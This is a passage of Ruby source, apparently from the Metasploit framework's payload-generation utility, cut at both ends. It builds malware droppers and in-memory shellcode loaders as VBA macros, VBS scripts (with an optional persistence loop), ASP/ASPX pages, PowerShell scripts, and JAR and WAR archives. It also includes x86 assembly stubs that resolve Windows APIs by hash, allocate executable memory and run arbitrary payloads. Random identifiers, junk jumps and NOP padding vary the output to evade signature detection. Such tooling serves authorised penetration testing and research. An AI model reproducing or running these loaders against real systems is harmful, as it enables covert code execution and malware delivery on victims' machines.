    hash_sub[:var_offset] 		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_dwCreationFlags]	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_lDest]	          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_Source]	 	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
    hash_sub[:var_Length]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

    # put the shellcode bytes into an array
    hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])

    read_replace_script_template("to_mem.vba.template", hash_sub)
  end

  def self.to_exe_vbs(exes = '', opts = {})
    delay   = opts[:delay]   || 5
    persist = opts[:persist] || false

    hash_sub = {}
    hash_sub[:var_shellcode] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:exe_filename] = Rex::Text.rand_text_alpha(rand(8)+8) << '.exe'
    hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

    hash_sub[:hex_shellcode] = exes.unpack('H*').join('')

    hash_sub[:init] = ""

    if persist
      hash_sub[:init] << "Do\r\n"
      hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
      hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
      hash_sub[:init] << "Loop\r\n"
    else
      hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
    end

    read_replace_script_template("to_exe.vbs.template", hash_sub)
  end

  def self.to_exe_asp(exes = '', opts = {})
    hash_sub = {}
    hash_sub[:var_bytes]   = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
    hash_sub[:var_fname]   = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_func]    = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_stream]  = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_obj]     = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_shell]   = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)

    hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])

    read_replace_script_template("to_exe.asp.template", hash_sub)
  end

  def self.to_exe_aspx(exes = '', opts = {})
    hash_sub = {}
    hash_sub[:var_file] 	= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempdir] 	= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_basedir]	= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_tempexe] 	= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_proc]	= Rex::Text.rand_text_alpha(rand(8)+8)

    hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])

    read_replace_script_template("to_exe.aspx.template", hash_sub)
  end

  def self.to_mem_aspx(framework, code, exeopts = {})
    # Intialize rig and value names
    rig = Rex::RandomIdentifierGenerator.new()
    rig.init_var(:var_funcAddr)
    rig.init_var(:var_hThread)
    rig.init_var(:var_pInfo)
    rig.init_var(:var_threadId)
    rig.init_var(:var_bytearray)

    hash_sub = rig.to_h
    hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])

    read_replace_script_template("to_mem.aspx.template", hash_sub)
  end

  def self.to_win32pe_psh_net(framework, code, opts={})
    rig = Rex::RandomIdentifierGenerator.new()
    rig.init_var(:var_code)
    rig.init_var(:var_kernel32)
    rig.init_var(:var_baseaddr)
    rig.init_var(:var_threadHandle)
    rig.init_var(:var_output)
    rig.init_var(:var_codeProvider)
    rig.init_var(:var_compileParams)
    rig.init_var(:var_syscode)
    rig.init_var(:var_temp)

    hash_sub = rig.to_h
    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

    read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

  def self.to_win32pe_psh(framework, code, opts = {})
    hash_sub = {}
    hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_win32_func]	= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_payload] 		= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_size] 		= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_rwx] 		= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_iter] 		= Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)

    hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])

    read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

  #
  # Reflection technique prevents the temporary .cs file being created for the .NET compiler
  # Tweaked by shellster
  # Originally from PowerSploit
  #
  def self.to_win32pe_psh_reflection(framework, code, opts = {})
    # Intialize rig and value names
    rig = Rex::RandomIdentifierGenerator.new()
    rig.init_var(:func_get_proc_address)
    rig.init_var(:func_get_delegate_type)
    rig.init_var(:var_code)
    rig.init_var(:var_module)
    rig.init_var(:var_procedure)
    rig.init_var(:var_unsafe_native_methods)
    rig.init_var(:var_parameters)
    rig.init_var(:var_return_type)
    rig.init_var(:var_type_builder)
    rig.init_var(:var_buffer)
    rig.init_var(:var_hthread)

    hash_sub = rig.to_h
    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

    read_replace_script_template("to_mem_pshreflection.ps1.template",
                                  hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

  def self.to_win32pe_vbs(framework, code, opts = {})
    to_exe_vbs(to_win32pe(framework, code, opts), opts)
  end

  # Creates a jar file that drops the provided +exe+ into a random file name
  # in the system's temp dir and executes it.
  #
  # @see Msf::Payload::Java
  #
  # @return [Rex::Zip::Jar]
  def self.to_jar(exe, opts = {})
    spawn = opts[:spawn] || 2
    exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
    zip = Rex::Zip::Jar.new
    zip.add_sub("metasploit") if opts[:random]
    paths = [
      [ "metasploit", "Payload.class" ],
    ]
    zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
    zip.build_manifest :main_class => "metasploit.Payload"
    config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
    zip.add_file("metasploit.dat", config)
    zip.add_file(exe_name, exe)

    zip
  end

  # Creates a Web Archive (WAR) file from the provided jsp code.
  #
  # On Tomcat, WAR files will be deployed into a directory with the same name
  # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
  # server is in a default configuration, deoployment will happen
  # automatically. See
  # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
  # documentation} for a description of how this works.
  #
  # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
  #   in the archive. This will be compiled by the victim servlet container
  #   (e.g., Tomcat) and act as the main function for the servlet.
  # @param opts [Hash]
  # @option opts :jsp_name [String] Name of the <jsp-file> in the archive
  #   _without the .jsp extension_. Defaults to random.
  # @option opts :app_name [String] Name of the app to put in the <servlet-name>
  #   tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
  #   random.
  # @option opts :extra_files [Array<String,String>] Additional files to add
  #   to the archive. First elment is filename, second is data
  #
  # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
  #
  # @return [String]
  def self.to_war(jsp_raw, opts = {})
    jsp_name = opts[:jsp_name]
    jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
    app_name = opts[:app_name]
    app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

    meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
    manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
    web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
    web_xml.gsub!(/NAME/, app_name)
    web_xml.gsub!(/PAYLOAD/, jsp_name)

    zip = Rex::Zip::Archive.new
    zip.add_file('META-INF/', '', meta_inf)
    zip.add_file('META-INF/MANIFEST.MF', manifest)
    zip.add_file('WEB-INF/', '')
    zip.add_file('WEB-INF/web.xml', web_xml)
    # add the payload
    zip.add_file("#{jsp_name}.jsp", jsp_raw)

    # add extra files
    if opts[:extra_files]
      opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
    end

    zip.pack
  end

  # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
  # payload.  The jsp page converts the hexdump back to a normal binary file
  # and places it in the temp directory. The payload file is then executed.
  #
  # @see to_war
  # @param exe [String] Executable to drop and run.
  # @param opts (see to_war)
  # @option opts (see to_war)
  # @return (see to_war)
  def self.to_jsp_war(exe, opts = {})

    # begin <payload>.jsp
    hash_sub = {}
    hash_sub[:var_hexpath]       = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_exepath]       = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_data]          = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_inputstream]   = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_outputstream]  = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_numbytes]      = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_bytearray]     = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_bytes]         = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_counter]       = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_char1]         = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_char2]         = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_comb]          = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_exe]           = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_hexfile]       = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_proc]          = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_fperm]         = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_fdel]          = Rex::Text.rand_text_alpha(rand(8)+8)
    hash_sub[:var_exepatharray]  = Rex::Text.rand_text_alpha(rand(8)+8)

    # Specify the payload in hex as an extra file..
    payload_hex = exe.unpack('H*')[0]
    opts.merge!(
      {
        :extra_files =>
          [
            [ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
          ]
      })

    template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)

    self.to_war(template, opts)
  end

  # Creates a .NET DLL which loads data into memory
  # at a specified location with read/execute permissions
  #    - the data will be loaded at: base+0x2065
  #    - default max size is 0x8000 (32768)
  def self.to_dotnetmem(base=0x12340000, data="", opts = {})

    # Allow the user to specify their own DLL template
    set_template_default(opts, "dotnetmem.dll")

    pe = self.get_file_contents(opts[:template])

    # Configure the image base
    base_offset = opts[:base_offset] || 180
    pe[base_offset, 4] = [base].pack('V')

    # Configure the TimeDateStamp
    timestamp_offset = opts[:timestamp_offset] || 136
    pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')

    # XXX: Unfortunately we cant make this RWX only RX
    # Mark this segment as read-execute AND writable
    # pe[412,4] = [0xe0000020].pack("V")

    # Write the data into the .text segment
    text_offset = opts[:text_offset] || 0x1065
    text_max    = opts[:text_max] || 0x8000
    pack        = opts[:pack] || 'a32768'
    pe[text_offset, text_max] = [data].pack(pack)

    # Generic a randomized UUID
    uuid_offset = opts[:uuid_offset] || 37656
    pe[uuid_offset,16] = Rex::Text.rand_text(16)

    pe
  end


  def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
    return code unless framework.encoders
    framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
      begin
        enc = framework.encoders.create(name)
        raw = enc.encode(code, badchars, nil, platform)
        return raw if raw
      rescue
      end
    end
    nil
  end

  def self.generate_nops(framework, arch, len, opts = {})
    opts['BadChars'] ||= ''
    opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]

    return nil unless framework.nops
    framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
      begin
        nop = framework.nops.create(name)
        raw = nop.generate_sled(len, opts)
        return raw if raw
      rescue
        # @TODO: stop rescuing everying on each of these, be selective
      end
    end
    nil
  end

  # This wrapper is responsible for allocating RWX memory, copying the
  # target code there, setting an exception handler that calls ExitProcess
  # and finally executing the code.
  def self.win32_rwx_exec(code)

    stub_block = %Q^
    ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
    ; Output: The return value from the API call will be in EAX.
    ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
    ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
    ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
    ; Note: This function is unable to call forwarded exports.

    api_call:
      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
      mov ebp, esp           ; Create a new stack frame
      xor edx, edx           ; Zero EDX
      mov edx, [fs:edx+48]   ; Get a pointer to the PEB
      mov edx, [edx+12]      ; Get PEB->Ldr
      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
    next_mod:                ;
      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
      movzx ecx, word [edx+38] ; Set ECX to the length we want to check
      xor edi, edi           ; Clear EDI which will store the hash of the module name
    loop_modname:            ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the name
      cmp al, 'a'            ; Some versions of Windows use lower case module names
      jl not_lowercase       ;
      sub al, 0x20           ; If so normalise to uppercase
    not_lowercase:           ;
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      ;loop loop_modname      ; Loop until we have read enough
      ; The random jmps added below will occasionally make this offset
      ; greater than will fit in a byte, so we have to use a regular jnz
      ; instruction which can take a full 32-bits to accomodate the
      ; bigger offset
      dec ecx
      jnz loop_modname        ; Loop until we have read enough
      ; We now have the module hash computed
      push edx               ; Save the current position in the module list for later
      push edi               ; Save the current module hash for later
      ; Proceed to iterate the export address table,
      mov edx, [edx+16]      ; Get this modules base address
      mov eax, [edx+60]      ; Get PE header
      add eax, edx           ; Add the modules base address
      mov eax, [eax+120]     ; Get export tables RVA
      test eax, eax          ; Test if no export address table is present
      jz get_next_mod1       ; If no EAT present, process the next module
      add eax, edx           ; Add the modules base address
      push eax               ; Save the current modules EAT
      mov ecx, [eax+24]      ; Get the number of function names
      mov ebx, [eax+32]      ; Get the rva of the function names
      add ebx, edx           ; Add the modules base address
      ; Computing the module hash + function hash
    get_next_func:           ;
      test ecx, ecx          ; Changed from jecxz to accomodate the larger offset produced by random jmps below
      jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
      dec ecx                ; Decrement the function name counter
      mov esi, [ebx+ecx*4]   ; Get rva of next module name
      add esi, edx           ; Add the modules base address
      xor edi, edi           ; Clear EDI which will store the hash of the function name
      ; And compare it to the one we want
    loop_funcname:           ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the ASCII function name
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
      jne loop_funcname      ; If we have not reached the null terminator, continue
      add edi, [ebp-8]       ; Add the current module hash to the function hash
      cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
      jnz get_next_func      ; Go compute the next function hash if we have not found it
      ; If found, fix up stack, call the function and then value else compute the next one...
      pop eax                ; Restore the current modules EAT
      mov ebx, [eax+36]      ; Get the ordinal table rva
      add ebx, edx           ; Add the modules base address
      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
      mov ebx, [eax+28]      ; Get the function addresses table rva
      add ebx, edx           ; Add the modules base address
      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
      add eax, edx           ; Add the modules base address to get the functions actual VA
      ; We now fix up the stack and perform the call to the desired function...
    finish:
      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
      pop ebx                ; Clear off the current modules hash
      pop ebx                ; Clear off the current position in the module list
      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
      pop ecx                ; Pop off the origional return address our caller will have pushed
      pop edx                ; Pop off the hash value our caller will have pushed
      push ecx               ; Push back the correct return value
      jmp eax                ; Jump into the required function
      ; We now automagically return to the correct caller...
    get_next_mod:            ;
      pop eax                ; Pop off the current (now the previous) modules EAT
    get_next_mod1:           ;
      pop edi                ; Pop off the current (now the previous) modules hash
      pop edx                ; Restore our position in the module list
      mov edx, [edx]         ; Get the next module
      jmp next_mod           ; Process this module
    ^

    stub_exit = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: None.
    ; Clobbers: EAX, EBX, (ESP will also be modified)
    ; Note: Execution is not expected to (successfully) continue past this block

    exitfunk:
      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
      jl goodbye             ; Then just call the exit function...
      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
      jne goodbye      ;
      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
    goodbye:                 ; We now perform the actual call to the exit function
      push byte 0            ; push the exit function parameter
      push ebx               ; push the hash of the exit function
      call ebp               ; call EXITFUNK( 0 );
    ^

    stub_alloc = %Q^
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    delta:                   ;
    #{stub_block}
    start:                   ;
      pop ebp                ; Pop off the address of 'api_call' for calling later.

    allocate_size:
       mov esi, #{code.length}

    allocate:
      push byte 0x40         ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; Push the length value of the wrapped code block
      push byte 0            ; NULL as we dont care where the allocation is.
      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

      mov ebx, eax           ; Store allocated address in ebx
      mov edi, eax           ; Prepare EDI with the new address
      mov ecx, esi           ; Prepare ECX with the length of the code
      call get_payload
    got_payload:
      pop esi                ; Prepare ESI with the source to copy
      rep movsb              ; Copy the payload to RWX memory
      call set_handler       ; Configure error handling

    exitblock:
    #{stub_exit}
    set_handler:
      xor eax,eax
      push dword [fs:eax]
      mov dword [fs:eax], esp
      call ebx
      jmp exitblock
    ^

    stub_final = %Q^
    get_payload:
      call got_payload
    payload:
    ; Append an arbitrary payload here
    ^

    stub_alloc.gsub!('short', '')
    stub_alloc.gsub!('byte', '')

    wrapper = ""
    # regs    = %W{eax ebx ecx edx esi edi ebp}

    cnt_jmp = 0
    stub_alloc.each_line do |line|
      line.gsub!(/;.*/, '')
      line.strip!
      next if line.empty?

      wrapper << "nop\n" if rand(2) == 0

      if rand(2) == 0
        wrapper << "jmp autojump#{cnt_jmp}\n"
        1.upto(rand(8)+8) do
          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
        end
        wrapper << "autojump#{cnt_jmp}:\n"
        cnt_jmp += 1
      end
      wrapper << line + "\n"
    end

    wrapper << stub_final

    enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
    enc.data + code
  end

  # This wrapper is responsible for allocating RWX memory, copying the
  # target code there, setting an exception handler that calls ExitProcess,
  # starting the code in a new thread, and finally jumping back to the next
  # code to execute. block_offset is the offset of the next code from
  # the start of this code
  def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')

    stub_block = %Q^
    ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
    ; Output: The return value from the API call will be in EAX.
    ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
    ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
    ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
    ; Note: This function is unable to call forwarded exports.

    api_call:
      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
      mov ebp, esp           ; Create a new stack frame
      xor edx, edx           ; Zero EDX
      mov edx, [fs:edx+48]   ; Get a pointer to the PEB
      mov edx, [edx+12]      ; Get PEB->Ldr
      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
    next_mod:                ;
      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
      movzx ecx, word [edx+38] ; Set ECX to the length we want to check
      xor edi, edi           ; Clear EDI which will store the hash of the module name
    loop_modname:            ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the name
      cmp al, 'a'            ; Some versions of Windows use lower case module names
      jl not_lowercase       ;
      sub al, 0x20           ; If so normalise to uppercase
    not_lowercase:           ;
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      loop loop_modname      ; Loop until we have read enough
      ; We now have the module hash computed
      push edx               ; Save the current position in the module list for later
      push edi               ; Save the current module hash for later
      ; Proceed to iterate the export address table,
      mov edx, [edx+16]      ; Get this modules base address
      mov eax, [edx+60]      ; Get PE header
      add eax, edx           ; Add the modules base address
      mov eax, [eax+120]     ; Get export tables RVA
      test eax, eax          ; Test if no export address table is present
      jz get_next_mod1       ; If no EAT present, process the next module
      add eax, edx           ; Add the modules base address
      push eax               ; Save the current modules EAT
      mov ecx, [eax+24]      ; Get the number of function names
      mov ebx, [eax+32]      ; Get the rva of the function names
      add ebx, edx           ; Add the modules base address
      ; Computing the module hash + function hash
    get_next_func:           ;
      jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
      dec ecx                ; Decrement the function name counter
      mov esi, [ebx+ecx*4]   ; Get rva of next module name
      add esi, edx           ; Add the modules base address
      xor edi, edi           ; Clear EDI which will store the hash of the function name
      ; And compare it to the one we want
    loop_funcname:           ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the ASCII function name
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
      jne loop_funcname      ; If we have not reached the null terminator, continue
      add edi, [ebp-8]       ; Add the current module hash to the function hash
      cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
      jnz get_next_func      ; Go compute the next function hash if we have not found it
      ; If found, fix up stack, call the function and then value else compute the next one...
      pop eax                ; Restore the current modules EAT
      mov ebx, [eax+36]      ; Get the ordinal table rva
      add ebx, edx           ; Add the modules base address
      mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
      mov ebx, [eax+28]      ; Get the function addresses table rva
      add ebx, edx           ; Add the modules base address
      mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
      add eax, edx           ; Add the modules base address to get the functions actual VA
      ; We now fix up the stack and perform the call to the desired function...
    finish:
      mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
      pop ebx                ; Clear off the current modules hash
      pop ebx                ; Clear off the current position in the module list
      popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
      pop ecx                ; Pop off the origional return address our caller will have pushed
      pop edx                ; Pop off the hash value our caller will have pushed
      push ecx               ; Push back the correct return value
      jmp eax                ; Jump into the required function
      ; We now automagically return to the correct caller...
    get_next_mod:            ;
      pop eax                ; Pop off the current (now the previous) modules EAT
    get_next_mod1:           ;
      pop edi                ; Pop off the current (now the previous) modules hash
      pop edx                ; Restore our position in the module list
      mov edx, [edx]         ; Get the next module
      jmp next_mod           ; Process this module
    ^

    stub_exit = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: None.
    ; Clobbers: EAX, EBX, (ESP will also be modified)
    ; Note: Execution is not expected to (successfully) continue past this block

    exitfunk:
      mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
      push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
      call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
      cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
      jl goodbye       ; Then just call the exit function...
      cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
      jne goodbye      ;
      mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
    goodbye:                 ; We now perform the actual call to the exit function
      push byte 0            ; push the exit function parameter
      push ebx               ; push the hash of the exit function
      call ebp               ; call EXITFUNK( 0 );
    ^

    stub_alloc = %Q^
      pushad                 ; Save registers
      cld                    ; Clear the direction flag.
      call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    delta:                   ;
    #{stub_block}
    start:                   ;
      pop ebp                ; Pop off the address of 'api_call' for calling later.

    allocate_size:
       mov esi,#{code.length}

    allocate:
      push byte 0x40         ; PAGE_EXECUTE_READWRITE
      push 0x1000            ; MEM_COMMIT
      push esi               ; Push the length value of the wrapped code block
      push byte 0            ; NULL as we dont care where the allocation is.
      push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
      call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

      mov ebx, eax           ; Store allocated address in ebx
      mov edi, eax           ; Prepare EDI with the new address
      mov ecx, esi           ; Prepare ECX with the length of the code
      call get_payload
    got_payload:
      pop esi                ; Prepare ESI with the source to copy
      rep movsb              ; Copy the payload to RWX memory
      call set_handler       ; Configure error handling

    exitblock:
    #{stub_exit}

    set_handler:
      xor eax,eax
;		  push dword [fs:eax]
;		  mov dword [fs:eax], esp
      push eax               ; LPDWORD lpThreadId (NULL)
      push eax               ; DWORD dwCreationFlags (0)
      push eax               ; LPVOID lpParameter (NULL)
      push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
      push eax               ; SIZE_T dwStackSize (0 for default)
      push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
      push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
      call ebp               ; Spawn payload thread

      pop eax                ; Skip
;		  pop eax                ; Skip
      pop eax                ; Skip
      popad                  ; Get our registers back
;		  sub esp, 44             ; Move stack pointer back past the handler
    ^

    stub_final = %Q^
    get_payload:
      call got_payload
    payload:
    ; Append an arbitrary payload here
    ^


    stub_alloc.gsub!('short', '')
    stub_alloc.gsub!('byte', '')

    wrapper = ""
    # regs    = %W{eax ebx ecx edx esi edi ebp}

    cnt_jmp = 0
    cnt_nop = 64

    stub_alloc.each_line do |line|
      line.gsub!(/;.*/, '')
      line.strip!
      next if line.empty?

      if cnt_nop > 0 && rand(4) == 0
        wrapper << "nop\n"
        cnt_nop -= 1
      end

      if cnt_nop > 0 && rand(16) == 0
        cnt_nop -= 2
        cnt_jmp += 1

        wrapper << "jmp autojump#{cnt_jmp}\n"
        1.upto(rand(8)+1) do
          wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
          cnt_nop -= 1
        end
        wrapper << "autojump#{cnt_jmp}:\n"
      end
      wrapper << line + "\n"
    end

    # @TODO: someone who knows how to use metasm please explain the right way to do this.
    wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
    wrapper << stub_final

    enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
    soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
    res = enc.data + code

    if which_offset == 'start'
      res[soff,4] = [block_offset - (soff + 4)].pack('V')
    elsif which_offset == 'end'
      res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
    else
